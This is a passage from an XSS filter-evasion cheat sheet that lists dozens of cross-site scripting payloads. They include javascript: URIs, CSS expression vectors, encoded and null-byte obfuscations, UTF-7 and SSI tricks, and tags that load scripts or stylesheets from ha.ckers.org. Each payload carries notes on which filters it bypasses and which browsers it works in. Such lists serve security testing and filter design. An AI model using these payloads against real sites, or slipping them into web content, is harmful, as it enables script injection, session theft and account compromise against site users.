a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + IMG STYLE w/expression + exp/*<XSS STYLE='no\xss:noxss("*//*"); +xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> + + IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + List-style-image + <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS + + Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + IMG w/VBscript + <IMG SRC='vbscript:msgbox("XSS")'> + VBscript in an image + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + LAYER + <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> + Layer (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + Livescript + <IMG SRC="livescript:[code]"> + Livescript (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + US-ASCII encoding + %BCscript%BEalert(%A2XSS%A2)%BC/script%BE + Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] + + + + META + <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> + The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + META w/data:URL + <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> + This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + META w/additional URL parameter + <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> + Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Mocha + <IMG SRC="mocha:[code]"> + Mocha (Older Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + OBJECT + <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> + If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + OBJECT w/Embedded XSS + <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> + Using an OBJECT tag you can embed XSS directly (this is unverified). + + + Browser support: + + + Embed Flash + <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> + + Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + OBJECT w/Flash 2 + a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); + + Using this action script inside flash can obfuscate your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + STYLE + <STYLE TYPE="text/javascript">alert('XSS');</STYLE> + STYLE tag (Older versions of Netscape only) + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + STYLE w/Comment + <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> + STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/Anonymous HTML + <XSS STYLE="xss:expression(alert('XSS'))"> + Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/background-image + <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> + + STYLE tag using background-image. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + STYLE w/background + <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> + + STYLE tag using background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Stylesheet + <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> + Stylesheet + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 1 + <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> + Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 2 + <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> + Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 3 + <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> + Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Remote Stylesheet 4 + <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> + Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + TABLE + <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> + Table background (who would have thought tables were XSS targets... except me, of course). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + TD + <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> + TD background. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + XML namespace + <HTML xmlns:xss> +<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> +<xss:xss>XSS</xss:xss> + +</HTML> + XML namespace. The .htc file must be located on the server as your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML data island w/CDATA + <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> + +</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> + XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML data island w/comment + <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> + +<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> + XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML (locally hosted) + <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> +<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> + + Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + XML HTML+TIME + <HTML><BODY> +<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> + +<?import namespace="t" implementation="#default#time2"> +<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> + + HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Commented-out Block + <!--[if gte IE 4]> +<SCRIPT>alert('XSS');</SCRIPT> +<![endif]--> + + Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Cookie Manipulation + <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> + + Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Local .htc file + <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> + This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Rename .js to .jpg + <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> + Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + SSI + <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> + + SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + PHP + <? echo('<SCR)'; +echo('IPT>alert("XSS")</SCRIPT>'); ?> + + PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + JavaScript Includes + <BR SIZE="&{alert('XSS')}"> + &JavaScript includes (works in Netscape 4.x). + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + + Character Encoding Example + < +%3C +&lt +&lt; +&LT +&LT; +&#60 +&#060 +&#0060 + +&#00060 +&#000060 +&#0000060 +&#60; +&#060; +&#0060; +&#00060; +&#000060; +&#0000060; +&#x3c +&#x03c +&#x003c +&#x0003c +&#x00003c +&#x000003c +&#x3c; +&#x03c; + +&#x003c; +&#x0003c; +&#x00003c; +&#x000003c; +&#X3c +&#X03c +&#X003c +&#X0003c +&#X00003c +&#X000003c +&#X3c; +&#X03c; +&#X003c; +&#X0003c; +&#X00003c; +&#X000003c; +&#x3C + +&#x03C +&#x003C +&#x0003C +&#x00003C +&#x000003C +&#x3C; +&#x03C; +&#x003C; +&#x0003C; +&#x00003C; +&#x000003C; +&#X3C +&#X03C +&#X003C +&#X0003C +&#X00003C +&#X000003C + +&#X3C; +&#X03C; +&#X003C; +&#X0003C; +&#X00003C; +&#X000003C; +\x3c +\x3C +\u003c +\u003C + All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). + + + Browser support: + + + Case Insensitive + <IMG SRC=JaVaScRiPt:alert('XSS')> + Case insensitive XSS attack vector. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + HTML Entities + <IMG SRC=javascript:alert(&quot;XSS&quot;)> + HTML entities (the semicolons are required for this to work). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Grave Accents + <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> + Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Image w/CharCode + <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> + If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + UTF-8 Unicode Encoding + <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> + + UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Long UTF-8 Unicode w/out Semicolons + <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> + + Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + DIV w/Unicode + <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> + DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Hex Encoding w/out Semicolons + <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> + + Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + UTF-7 Encoding + <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + + UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Escaping JavaScript escapes + \";alert('XSS');// + Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + End title tag + </TITLE><SCRIPT>alert("XSS");</SCRIPT> + This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + + STYLE w/broken up JavaScript + <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> + STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Embedded Tab + <IMG SRC="jav ascript:alert('XSS');"> + Embedded tab to break up the cross site scripting attack. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Embedded Encoded Tab + <IMG SRC="jav&#x09;ascript:alert('XSS');"> + Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Embedded Newline + <IMG SRC="jav&#x0A;ascript:alert('XSS');"> + Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Embedded Carriage Return + <IMG SRC="jav&#x0D;ascript:alert('XSS');"> + Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Multiline w/Carriage Returns + <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > + + Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + + Null Chars 1 + perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out + + Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Null Chars 2 + perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out + + Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Spaces/Meta Chars + <IMG SRC=" &#14; javascript:alert('XSS');"> + Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Non-Alpha/Non-Digit + <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" + + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Non-Alpha/Non-Digit Part 2 + <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> + Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + No Closing Script Tag + <SCRIPT SRC=http://ha.ckers.org/xss.js + In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Protocol resolution in script tags + <SCRIPT SRC=//ha.ckers.org/.j> + This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. + + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + + Half-Open HTML/JavaScript + <IMG SRC="javascript:alert('XSS')" + Unlike Firefox, the IE rendering engine doesn't 